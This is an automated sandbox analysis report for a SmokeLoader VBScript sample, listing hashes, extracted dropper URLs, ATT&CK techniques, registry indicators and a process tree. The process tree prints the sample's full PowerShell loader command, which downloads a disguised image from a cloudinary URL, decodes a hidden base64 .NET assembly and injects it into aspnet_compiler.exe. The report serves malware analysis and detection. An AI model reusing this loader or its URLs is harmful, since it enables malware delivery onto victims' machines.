smokeloader | 16328212055d6aa79c45b6624607f74b732b159db4c6cdf7d8e6835ebdc6e392

General

Target

16328212055d6aa79c45b6624607f74b732b159db4c6cdf7d8e6835ebdc6e392.vbs
Size

219KB
MD5

8ccd875893cd23b67d7c61ea735f5c52
SHA1

6171c7dd4f67a67fff0ca151c7e9a06104e00def
SHA256

16328212055d6aa79c45b6624607f74b732b159db4c6cdf7d8e6835ebdc6e392
SHA512

3ceb06944fb1cb3f176e9163f761e3c2d97e72a9e0177f417d4a83e03f4b539fbcb2d7ebe53865a483cacdc8eaf16ce292245aed1cc60c207f7ca038ced07f31
SSDEEP

3072:A8gVmI3b0mgfmWu+ke9VOv5iG5sVhQ30Wk+70wgA1A:A8gVxe9VOvM

Score

10^/10

smokeloader backdoor execution trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg%20

exe.dropper

https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg%20

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Smokeloader family
smokeloader

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	5080	powershell.exe
19	5080	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5080	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5080 set thread context of 1572	5080	powershell.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aspnet_compiler.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aspnet_compiler.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5080	powershell.exe
5080	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5080	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 5080	1672	WScript.exe	83
PID 1672 wrote to memory of 5080	1672	WScript.exe	83
PID 5080 wrote to memory of 1572	5080	powershell.exe	93
PID 5080 wrote to memory of 1572	5080	powershell.exe	93
PID 5080 wrote to memory of 1572	5080	powershell.exe	93
PID 5080 wrote to memory of 1572	5080	powershell.exe	93
PID 5080 wrote to memory of 1572	5080	powershell.exe	93
PID 5080 wrote to memory of 1572	5080	powershell.exe	93

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\16328212055d6aa79c45b6624607f74b732b159db4c6cdf7d8e6835ebdc6e392.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.rofdoogemneve/052/441.72.3.291//:p##h';$restoredText = $originalText -replace '#', 't';$vicegerents = 'https://res.cloudinary.com/dnkr4s5yg/image/upload/v1735420882/givvuo2katk3jnggipgn.jpg ';$unroyalist = New-Object System.Net.WebClient;$googleability = $unroyalist.DownloadData($vicegerents);$tuillette = [System.Text.Encoding]::UTF8.GetString($googleability);$marischal = '<<BASE64_START>>';$botchedly = '<<BASE64_END>>';$uscher = $tuillette.IndexOf($marischal);$diffamed = $tuillette.IndexOf($botchedly);$uscher -ge 0 -and $diffamed -gt $uscher;$uscher += $marischal.Length;$tetri = $diffamed - $uscher;$engagement = $tuillette.Substring($uscher, $tetri);$admixture = -join ($engagement.ToCharArray() | ForEach-Object { $_ })[-1..-($engagement.Length)];$satisfy = [System.Convert]::FromBase64String($admixture);$rivets = [System.Reflection.Assembly]::Load($satisfy);$subtractions = [dnlib.IO.Home].GetMethod('VAI');$subtractions.Invoke($null, @($restoredText, 'chlorinations', 'chlorinations', 'chlorinations', 'aspnet_compiler', 'chlorinations', 'chlorinations','chlorinations','chlorinations','chlorinations','chlorinations','chlorinations','1','chlorinations','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - Checks SCSI registry key(s)
    PID:1572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ecx5qrh.3un.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1572-18-0x0000000000400000-0x000000000040B000-memory.dmp

Filesize
44KB

Download
memory/1572-23-0x0000000000400000-0x000000000040B000-memory.dmp

Filesize
44KB

Download
memory/5080-14-0x00007FFCC2293000-0x00007FFCC2295000-memory.dmp

Filesize
8KB

Download
memory/5080-12-0x00007FFCC2290000-0x00007FFCC2D51000-memory.dmp

Filesize
10.8MB

Download
memory/5080-13-0x00007FFCC2290000-0x00007FFCC2D51000-memory.dmp

Filesize
10.8MB

Download
memory/5080-0-0x00007FFCC2293000-0x00007FFCC2295000-memory.dmp

Filesize
8KB

Download
memory/5080-15-0x00007FFCC2290000-0x00007FFCC2D51000-memory.dmp

Filesize
10.8MB

Download
memory/5080-16-0x00007FFCC2290000-0x00007FFCC2D51000-memory.dmp

Filesize
10.8MB

Download
memory/5080-17-0x0000019B7EA30000-0x0000019B7EBB4000-memory.dmp

Filesize
1.5MB

Download
memory/5080-11-0x00007FFCC2290000-0x00007FFCC2D51000-memory.dmp

Filesize
10.8MB

Download
memory/5080-21-0x00007FFCC2290000-0x00007FFCC2D51000-memory.dmp

Filesize
10.8MB

Download
memory/5080-1-0x0000019B642A0000-0x0000019B642C2000-memory.dmp

Filesize
136KB

Download
memory/5080-22-0x00007FFCC2290000-0x00007FFCC2D51000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads